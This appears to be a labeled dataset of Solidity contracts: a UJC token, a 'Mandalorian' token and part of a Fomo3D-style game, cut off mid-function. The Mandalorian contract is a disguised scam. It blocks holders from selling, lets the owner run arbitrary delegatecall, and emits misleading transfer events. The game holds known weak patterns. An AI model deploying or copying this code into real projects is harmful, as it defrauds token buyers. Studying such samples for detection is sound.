_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLib {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0 && a > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract StandardToken is ERC20Token {
using SafeMathLib for uint;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract UJC is StandardToken, Ownable {
string public nickName="游者链";
string public name = "U Journey";
string public symbol = "UJC";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = (50) * (10 ** 8) * (10 ** 18);
function UJC(){
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply;
}
function() public payable {
revert();
}
} | 1 | 2,291 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Mandalorian{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,300 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DPLUS is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x8090c78edea718c652b29cace404949fd63839fd);
address private admin = msg.sender;
string constant public name = "f3dplus";
string constant public symbol = "f3dplus";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 8 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
